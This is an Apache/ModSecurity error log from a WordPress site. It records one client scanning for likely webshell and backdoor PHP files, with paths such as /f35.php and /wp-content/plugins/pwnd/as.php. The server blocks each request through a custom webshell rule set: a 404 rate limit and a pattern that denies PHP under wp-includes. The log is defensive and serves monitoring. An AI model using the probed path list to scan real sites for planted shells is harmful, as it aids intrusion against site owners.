[Tue May 19 02:03:16.508302 2026] [:error] [pid 44087:tid 44106] [client 4.228.184.113:27617] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "agtUZG5HPHbH9GK7l6wPbwAAAdE"]
[Tue May 19 02:03:18.527168 2026] [:error] [pid 36491:tid 36502] [client 4.228.184.113:20150] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "agtUZk555B9CZb6D60n_MwAAAUc"]
[Tue May 19 02:03:19.478155 2026] [:error] [pid 44010:tid 44027] [client 4.228.184.113:6501] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "agtUZzcFUuogD3-74-aN_QAAAM8"]
[Tue May 19 02:03:20.683690 2026] [:error] [pid 44010:tid 44029] [client 4.228.184.113:54727] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "agtUaDcFUuogD3-74-aOAAAAANE"]
[Tue May 19 02:03:22.780834 2026] [:error] [pid 43916:tid 43939] [client 4.228.184.113:3467] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "agtUatQC236p33zJJvneugAAAI8"]
[Tue May 19 02:03:23.945147 2026] [:error] [pid 36579:tid 36593] [client 4.228.184.113:37465] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "agtUa1-aoZxBfgL5vDy2NQAAAEs"]
[Tue May 19 02:03:24.946857 2026] [:error] [pid 36492:tid 36532] [client 4.228.184.113:61548] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "agtUbGCVlogrkn9m2w4qvQAAAAo"]
[Tue May 19 02:03:26.705578 2026] [:error] [pid 36491:tid 36508] [client 4.228.184.113:43489] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "agtUbk555B9CZb6D60n_PQAAAU0"]
[Tue May 19 02:03:28.482781 2026] [:error] [pid 44010:tid 44016] [client 4.228.184.113:3457] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "agtUcDcFUuogD3-74-aOBwAAAMQ"]
[Tue May 19 02:03:30.713113 2026] [:error] [pid 44087:tid 44110] [client 4.228.184.113:60904] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "agtUcm5HPHbH9GK7l6wPcQAAAdU"]
[Tue May 19 02:03:32.701493 2026] [:error] [pid 36492:tid 36532] [client 4.228.184.113:54753] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "agtUdGCVlogrkn9m2w4qyQAAAAo"]
[Tue May 19 02:03:34.242700 2026] [:error] [pid 36491:tid 36519] [client 4.228.184.113:6495] [client 4.228.184.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "agtUdk555B9CZb6D60n_PwAAAVg"]
[Tue May 19 02:03:35.206136 2026] [:error] [pid 36579:tid 36606] [client 4.228.184.113:26779] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "agtUd1-aoZxBfgL5vDy2PgAAAFg"]
[Tue May 19 02:03:36.029982 2026] [:error] [pid 36579:tid 36598] [client 4.228.184.113:54724] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "agtUeF-aoZxBfgL5vDy2QAAAAFA"]
[Tue May 19 02:03:37.911546 2026] [:error] [pid 36492:tid 36538] [client 4.228.184.113:37473] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "agtUeWCVlogrkn9m2w4qzQAAABA"]
[Tue May 19 02:03:39.482457 2026] [:error] [pid 36491:tid 36507] [client 4.228.184.113:27605] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "agtUe0555B9CZb6D60n_QwAAAUw"]
[Tue May 19 02:03:41.411634 2026] [:error] [pid 44087:tid 44101] [client 4.228.184.113:51221] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "agtUfW5HPHbH9GK7l6wPewAAAcw"]
[Tue May 19 02:03:42.665741 2026] [:error] [pid 43916:tid 43930] [client 4.228.184.113:54739] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "agtUftQC236p33zJJvnevgAAAIY"]
[Tue May 19 02:03:43.932207 2026] [:error] [pid 44087:tid 44098] [client 4.228.184.113:12147] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "agtUf25HPHbH9GK7l6wPfQAAAck"]
[Tue May 19 02:03:46.345152 2026] [:error] [pid 36493:tid 36555] [client 4.228.184.113:3511] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "agtUggynkzQB5nM668rlZwAAAQY"]
[Tue May 19 02:03:47.728009 2026] [:error] [pid 36493:tid 36551] [client 4.228.184.113:43474] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "agtUgwynkzQB5nM668rlaQAAAQI"]
[Tue May 19 02:03:49.965839 2026] [:error] [pid 44087:tid 44093] [client 4.228.184.113:6494] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "agtUhW5HPHbH9GK7l6wPgAAAAcQ"]
[Tue May 19 02:03:51.404201 2026] [:error] [pid 36492:tid 36527] [client 4.228.184.113:27595] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "agtUh2CVlogrkn9m2w4q1gAAAAU"]
[Tue May 19 02:03:53.335919 2026] [:error] [pid 36493:tid 36571] [client 4.228.184.113:37443] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "agtUiQynkzQB5nM668rlbgAAARY"]
[Tue May 19 02:03:54.566200 2026] [:error] [pid 36492:tid 36532] [client 4.228.184.113:6515] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "agtUimCVlogrkn9m2w4q2AAAAAo"]
[Tue May 19 02:03:56.422119 2026] [:error] [pid 36492:tid 36529] [client 4.228.184.113:26802] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "agtUjGCVlogrkn9m2w4q2QAAAAc"]
[Tue May 19 02:03:57.666348 2026] [:error] [pid 44087:tid 44104] [client 4.228.184.113:59272] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "agtUjW5HPHbH9GK7l6wPggAAAc8"]
[Tue May 19 02:03:59.536987 2026] [:error] [pid 36493:tid 36556] [client 4.228.184.113:1539] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "agtUjwynkzQB5nM668rldQAAAQc"]
[Tue May 19 02:04:00.718387 2026] [:error] [pid 36579:tid 36585] [client 4.228.184.113:62230] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "agtUkF-aoZxBfgL5vDy2TgAAAEM"]
[Tue May 19 02:04:02.319851 2026] [:error] [pid 44046:tid 44071] [client 4.228.184.113:15033] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "agtUkoYF4k2jfXJBXk0R2QAAAZc"]
[Tue May 19 02:04:04.982328 2026] [:error] [pid 44087:tid 44113] [client 4.228.184.113:26755] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "agtUlG5HPHbH9GK7l6wPgwAAAdc"]
[Tue May 19 02:04:05.886707 2026] [:error] [pid 43916:tid 43929] [client 4.228.184.113:62268] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "agtUldQC236p33zJJvnewgAAAIU"]
[Tue May 19 02:04:06.919963 2026] [:error] [pid 43916:tid 43928] [client 4.228.184.113:30751] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "agtUltQC236p33zJJvnewwAAAIQ"]
[Tue May 19 02:04:08.669093 2026] [:error] [pid 36579:tid 36587] [client 4.228.184.113:61547] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "agtUmF-aoZxBfgL5vDy2UwAAAEU"]
[Tue May 19 02:04:20.607158 2026] [autoindex:error] [pid 36492:tid 36545] [client 4.228.184.113:54778] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:04:22.381621 2026] [autoindex:error] [pid 36492:tid 36546] [client 4.228.184.113:54778] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:04:28.667301 2026] [:error] [pid 36492:tid 36536] [client 4.228.184.113:54778] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "agtUrGCVlogrkn9m2w4q9AAAAA4"]
[Tue May 19 02:04:29.794625 2026] [:error] [pid 36493:tid 36561] [client 4.228.184.113:51208] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "agtUrQynkzQB5nM668rllQAAAQw"]
[Tue May 19 02:04:31.337673 2026] [:error] [pid 36491:tid 36511] [client 4.228.184.113:62257] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "agtUr0555B9CZb6D60n_VQAAAVA"]
[Tue May 19 02:04:33.157514 2026] [:error] [pid 36492:tid 36532] [client 4.228.184.113:62258] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "agtUsWCVlogrkn9m2w4q-AAAAAo"]
[Tue May 19 02:04:36.323537 2026] [:error] [pid 36492:tid 36546] [client 4.228.184.113:59291] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "agtUtGCVlogrkn9m2w4q-wAAABg"]
[Tue May 19 02:04:37.192096 2026] [:error] [pid 36492:tid 36522] [client 4.228.184.113:41827] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "agtUtWCVlogrkn9m2w4q_QAAAAA"]
[Tue May 19 02:04:38.812974 2026] [:error] [pid 36491:tid 36508] [client 4.228.184.113:54776] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "agtUtk555B9CZb6D60n_WQAAAU0"]
[Tue May 19 02:04:39.671349 2026] [:error] [pid 43916:tid 43931] [client 4.228.184.113:30770] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "agtUt9QC236p33zJJvneygAAAIc"]
[Tue May 19 02:04:40.882672 2026] [:error] [pid 44087:tid 44105] [client 4.228.184.113:37470] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "agtUuG5HPHbH9GK7l6wPlAAAAdA"]
[Tue May 19 02:04:41.762473 2026] [:error] [pid 36491:tid 36500] [client 4.228.184.113:54748] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "agtUuU555B9CZb6D60n_XAAAAUU"]
[Tue May 19 02:04:45.616521 2026] [:error] [pid 44046:tid 44063] [client 4.228.184.113:61945] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "agtUvYYF4k2jfXJBXk0R4wAAAY8"]
[Tue May 19 02:04:46.794691 2026] [:error] [pid 44046:tid 44059] [client 4.228.184.113:37499] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "agtUvoYF4k2jfXJBXk0R5AAAAYs"]
[Tue May 19 02:04:48.333672 2026] [:error] [pid 43916:tid 43946] [client 4.228.184.113:61442] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4PJcpMFsD8B.php"] [unique_id "agtUwNQC236p33zJJvnezwAAAJY"]
[Tue May 19 02:04:51.854627 2026] [:error] [pid 36491:tid 36501] [client 4.228.184.113:37445] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4PJcpMFsD8B.php"] [unique_id "agtUw0555B9CZb6D60n_XwAAAUY"]
[Tue May 19 02:04:53.801145 2026] [:error] [pid 36579:tid 36603] [client 4.228.184.113:37500] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4PJcpMFsD8B.php"] [unique_id "agtUxV-aoZxBfgL5vDy2ZgAAAFU"]
[Tue May 19 02:04:54.945025 2026] [:error] [pid 43916:tid 43935] [client 4.228.184.113:30768] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4PJcpMFsD8B.php"] [unique_id "agtUxtQC236p33zJJvne1AAAAIs"]
[Tue May 19 02:04:56.183253 2026] [:error] [pid 36579:tid 36585] [client 4.228.184.113:14991] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "agtUyF-aoZxBfgL5vDy2aAAAAEM"]
[Tue May 19 02:05:01.744828 2026] [:error] [pid 44046:tid 44061] [client 4.228.184.113:15008] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "agtUzYYF4k2jfXJBXk0R7AAAAY0"]
[Tue May 19 02:05:03.481727 2026] [:error] [pid 36579:tid 36584] [client 4.228.184.113:12110] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "agtUz1-aoZxBfgL5vDy2bQAAAEI"]
[Tue May 19 02:05:07.992023 2026] [:error] [pid 44010:tid 44030] [client 4.228.184.113:1587] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "agtU0zcFUuogD3-74-aOHQAAANI"]
[Tue May 19 02:05:11.189184 2026] [:error] [pid 44010:tid 44025] [client 4.228.184.113:41842] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cfile.php"] [unique_id "agtU1zcFUuogD3-74-aOHwAAAM0"]
